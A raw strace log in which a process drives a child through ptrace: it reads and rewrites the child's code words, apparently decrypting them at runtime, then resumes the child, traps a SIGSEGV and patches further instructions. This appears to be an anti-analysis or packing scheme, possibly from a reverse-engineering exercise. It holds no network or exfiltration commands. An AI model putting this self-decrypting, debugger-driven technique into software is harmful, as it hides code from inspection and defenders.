ptrace(PTRACE_PEEKTEXT, 482327, 0x40217b, [0x35340df7f114bb68]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40217b, 0x32330af0f217b86b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402183, [0xc13a95fe113c740a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402183, 0xc63d92f9123f7709) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40218b, [0xe7fffc25524d2955]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40218b, 0xe0f8fb22514e2a56) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402193, [0xc6da1dc3f8f3ccdb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402193, 0xc1dd1ac4fbf0cfd8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40219b, [0xa65f43fce4135439]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40219b, 0xa15844fbe710573a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021a3, [0xe9ccd2078e87a879]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021a3, 0xeecbd5008d84ab7a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ab, [0x54a4ebcf2595a889]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ab, 0x53a3ecc82696ab8a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021b3, [0x1a8743ae9f343eeb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021b3, 0x1d8044a99c373de8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021bb, [0xeedd644e1cf7981c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021bb, 0xe9da63491ff49b1f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021c3, [0x27a556b0e2f7e1c6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021c3, 0x20a251b7e1f4e2c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021cb, [0x38984f2fb29fdbd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021cb, 0x48e83f5f82afebe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021d3, [0xcd27b2b9ff124df2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021d3, 0xca20b5befc114ef1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021db, [0x7561c6d4cb22352]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021db, 0x511b6a4fb12051) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021e3, [0x38984f2f6b98c2b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021e3, 0x48e83f5f5ba8f28) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021eb, [0xcd27b2b9ff124df2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021eb, 0xca20b5befc114ef1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021f3, [0xa791a82d4cb22352]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021f3, 0xa096af2a4fb12051) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021fb, [0xd6357604684d72f8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021fb, 0xd13271036b4e71fb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402203, [0xe32c9c943e744f96]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402203, 0xe42b9b933d774c95) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40220b, [0x274467aae77a7d9a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40220b, 0x204360ade4797e99) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402213, [0x38f94e52ea2df8b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402213, 0x3ffe4955e92efbb1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40221b, [0x9324e0eae3cf46d7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40221b, 0x9423e7ede0cc45d4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402223, [0x3170a8454d542b66]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402223, 0x3677af424e572865) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40222b, [0x483c6e911392b8de]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40222b, 0x4f3b69961091bbdd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402233, [0x49060e3c0958989f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402233, 0x4e01093b0a5b9b9c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40223b, [0xc9ae1797c409fa03]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40223b, 0xcea91090c70af900) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402243, [0xc0f2c4e7f89c672a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402243, 0xc7f5c3e0fb9f6429) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40224b, [0x9420e449a0dd9a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40224b, 0xe450943990edaa0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402253, [0x204a88ee7e72206e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402253, 0x274d8fe97d71236d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40225b, [0x4c819f1d1ce54b3c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40225b, 0x4b86981a1fe6483f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402263, [0xcdf2d4b31a409f6e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402263, 0xcaf5d3b419439c6d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40226b, [0xecfc34096c6ed159]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40226b, 0xebfb330e6f6dd25a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402273, [0x3846938afc0b9ca4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402273, 0x3f41948dff089fa7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40227b, [0x22ebbafb9a435f35]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40227b, 0x25ecbdfc99405c36) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402283, [0xdb9ee56e74a16d40]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402283, 0xdc99e26977a26e43) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40228b, [0x9b72c5d57cf39095]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40228b, 0x9c75c2d27ff09396) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402293, [0x68bc72814d71c848]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402293, 0x6fbb75864e72cb4b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40229b, [0xea24c2b5623194b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40229b, 0xed23c5b2613297b1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022a3, [0x9f07db069e750f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022a3, 0xef77ab76ae453f0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ab, [0xd44aa7eeef60bc4e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ab, 0xd34da0e9ec63bf4d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022b3, [0x880010fdc37e3bd4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022b3, 0x8f0717fac07d38d7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022bb, [0xbe87d6a44fc03c72]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022bb, 0xb980d1a34cc33f71) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022c3, [0x765343b60950d68a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022c3, 0x715444b10a53d589) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022cb, [0xfc4dec6fd7e28265]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022cb, 0xfb4aeb68d4e18166) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022d3, [0x22b249fbdbd6a23f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022d3, 0x25b54efcd8d5a13c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022db, [0x9ec9a9610cbecfe2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022db, 0x99ceae660fbdcce1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022e3, [0x3acd5f7d96dcae70]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022e3, 0x3dca587a95dfad73) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022eb, [0x2a2635dd1e062135]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022eb, 0x2d2132da1d052236) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022f3, [0x58a50b695b9c1949]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022f3, 0x5fa20c6e589f1a4a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022fb, [0x4e2435510d9d803b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022fb, 0x492332560e9e8338) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402303, [0xd9ae06172d956be7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402303, 0xdea901102e9668e4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40230b, [0xe435d2448553b056]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40230b, 0xe332d5438650b355) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402313, [0xfbcad2a180a7e8e8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402313, 0xfccdd5a683a4ebeb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40231b, [0x4ecb1affe49449d2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40231b, 0x49cc1df8e7974ad1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402323, [0x69240b899145964b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402323, 0x6e230c8e92469548) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40232b, [0xd7afc0fd0ad42a9f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40232b, 0xd0a8c7fa09d7299c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402333, [0xf628eb57ded35f30]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402333, 0xf12fec50ddd05c33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40233b, [0xa36b2b87d92e93b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40233b, 0xa46c2c80da2d90b7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402343, [0x37b6deb5054a56b5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402343, 0x30b1d9b2064955b6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40234b, [0xbce3a9430cf0d5fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40234b, 0xbbe4ae440ff3d6f9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402353, [0xab30967b0a7c64e9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402353, 0xac37917c097f67ea) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40235b, [0xd4e8c06f9b6c993]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40235b, 0xa498b01fab5ca90) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402363, [0x7b05d317076cfa39]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402363, 0x7c02d410046ff93a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40236b, [0x6eb724c456cb504e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40236b, 0x69b023c355c8534d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402373, [0x84c9711a688c56f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402373, 0x83ce761d6b8f55fa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40237b, [0x15c22998109b4ec5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40237b, 0x12c52e9f13984dc6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402383, [0x1a1cd2a6b3d922c6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402383, 0x1d1bd5a1b0da21c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40238b, [0xb90435e6457aacc9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40238b, 0xbe0332e14679afca) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402393, [0xfea0dda1edcb270b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402393, 0xf9a7daa6eec82408) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40239b, [0x38b6361c175564b0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40239b, 0x3fb1311b145667b3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023a3, [0xbdbc6afa6c5fe899]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023a3, 0xbabb6dfd6f5ceb9a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ab, [0xf7d50357d9d6f5f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ab, 0xf0d20450dad5f6f3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023b3, [0x8b75f32e404172ab]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023b3, 0x8c72f429434271a8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023bb, [0xacefa64ca30a86c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023bb, 0xdc9fd63c933ab6f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023c3, [0x18679dd335f29d4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023c3, 0x6817eda305c2ad7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023cb, [0xd7afc0fd78862a36]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023cb, 0xd0a8c7fa7b852935) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023d3, [0xf89c776aded35f30]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023d3, 0xff9b706dddd05c33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023db, [0xe9ccd2075bd2e6b9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023db, 0xeecbd50058d1e5ba) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023e3, [0x769ad9ba2595a889]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023e3, 0x719ddebd2696ab8a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023eb, [0x384c4bc34f1c4368]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023eb, 0x3f4b4cc44c1f406b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023f3, [0x7b176373ce7c9a52]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023f3, 0x7c106474cd7f9951) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023fb, [0xa6b371b3cc9765f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023fb, 0xa1b476b4cf9466fa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402403, [0x92c621f43dc8b7ac]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402403, 0x95c126f33ecbb4af) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40240b, [0xf172b323db9eb0a5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40240b, 0xf675b424d89db3a6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402413, [0xf0c85a4fa774e510]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402413, 0xf7cf5d48a477e613) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40241b, [0xeefc7504d3e7b110]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40241b, 0xe9fb7203d0e4b213) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402423, [0x15c7b7793fbc45fe]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402423, 0x12c0b07e3cbf46fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40242b, [0xbf92717e83a7d5d1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40242b, 0xb895767980a4d6d2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402433, [0x57a31de4e9068a16]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402433, 0x50a41ae3ea058915) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40243b, [0x7aca95289c56c8e2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40243b, 0x7dcd922f9f55cbe1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402443, [0x41b1dc129cfcfcd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402443, 0x31c1ac62accccce) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40244b, [0x55e8ef047ca1b329]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40244b, 0x52efe8037fa2b02a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402453, [0xc9e5276cd724674f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402453, 0xcee2206bd427644c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40245b, [0x3586afa1b477f889]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40245b, 0x3281a8a6b774fb8a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402463, [0xcc530dccfb5f2238]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402463, 0xcb540acbf85c213b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40246b, [0xfd2f49d8d2ec4e2d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40246b, 0xfa284edfd1ef4d2e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402473, [0x7934a7814f93c830]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402473, 0x7e33a0864c90cb33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40247b, [0xd8532e96c121d1d3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40247b, 0xdf542991c222d2d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402483, [0x370d09babaff6382]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402483, 0x300a0ebdb9fc6081) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x428, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402063, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSEGV}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x410, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x40206c, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40206f, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402077, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206c, [0x6261616161008a67]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206c, 0x6261616161008a90) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206d, [0x626261616161008a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206d, 0x6262616161610090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206e, [0x6262626161616100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206e, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206f, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206f, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402070, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402070, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402071, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402071, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402072, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402072, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402073, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402073, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402074, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402074, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402075, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402075, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402076, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402076, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402077, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402077, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402078, [0xb264646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402078, 0xb264646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402079, [0x9ab2646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402079, 0x9ab2646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207a, [0x419ab26464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207a, 0x419ab26464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207b, [0x69419ab264646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207b, 0x69419ab264646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207c, [0x6769419ab2646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207c, 0x6769419ab2646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207d, [0x676769419ab26464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207d, 0x676769419ab26490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207e, [0x24676769419ab264]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207e, 0x24676769419ab290) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40207f, [0x724676769419ab2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207f, 0xfd76e800000000b8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402087, [0x2e1fcae9ad0e2ce9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402087, 0x12e58058d48ffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40208f, [0xedd45ebe795182d2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40208f, 0x4898e8c7894800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402097, [0x4d0e24f02ae86908]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402097, 0xbf000045b3e800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40209f, [0x5fe3bd2e97730e50]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40209f, 0x7ac9e8000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020a7, [0x8e6600dfa9b9a3c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020a7, 0x3100007b82e8c389) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020af, [0x179977250d418ef1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020af, 0x3a39e8c789d8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020b7, [0x4ac7515a6e4748cd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020b7, 0x7affe80000001ebf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020bf, [0x8a07e10c49820879]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020bf, 0xbf00000010be0000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020c7, [0xa750e32ca0cf8729]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020c7, 0x1470e80000001b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020cf, [0xe30aff9d8ab315be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020cf, 0xec45c7c845894800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020d7, [0xb7d00dcd391be5f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020d7, 0x558b13eb00000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020df, [0xe62305e369010ab9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020df, 0x94899848ec458bec) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020e7, [0x43655b735229ed67]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020e7, 0xec4583ffffff4085) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ef, [0xa6def924ea0759d8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ef, 0xc7e77e1aec7d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020f7, [0x29410702b5b2ba34]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020f7, 0x45c700000000ac45) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ff, [0x51ce926d07a1d671]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ff, 0xe84beb0000001ae8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402107, [0xc4d0e52798d11638]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402107, 0xe87df799000039f5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40210f, [0xe48ac8a395a46553]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40210f, 0xbc458901c083d089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402117, [0x9d18845dc1c1f02e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402117, 0x85848b9848e8458b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40211f, [0xb022298f2e55d63c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40211f, 0x8bb84589ffffff40) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402127, [0xf64ee3197ffb4243]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402127, 0x4085948b9848bc45) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40212f, [0x34694216570a22d6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40212f, 0x9848e8458bffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402137, [0x3b632cda4e09a4ea]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402137, 0x8bffffff40859489) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40213f, [0xb0e9c1a0342c48a8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40213f, 0x89b8558b9848bc45) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402147, [0x7bbbeea188695b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402147, 0x6d83ffffff408594) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40214f, [0x1ea79a33dc3a2d0a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40214f, 0xaf7f01e87d8301e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402157, [0x8c2eb5486184bace]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402157, 0x5100ff2c8458b48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40215f, [0xeb63d10faebb1e69]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40215f, 0x110ff200012edd) = 0
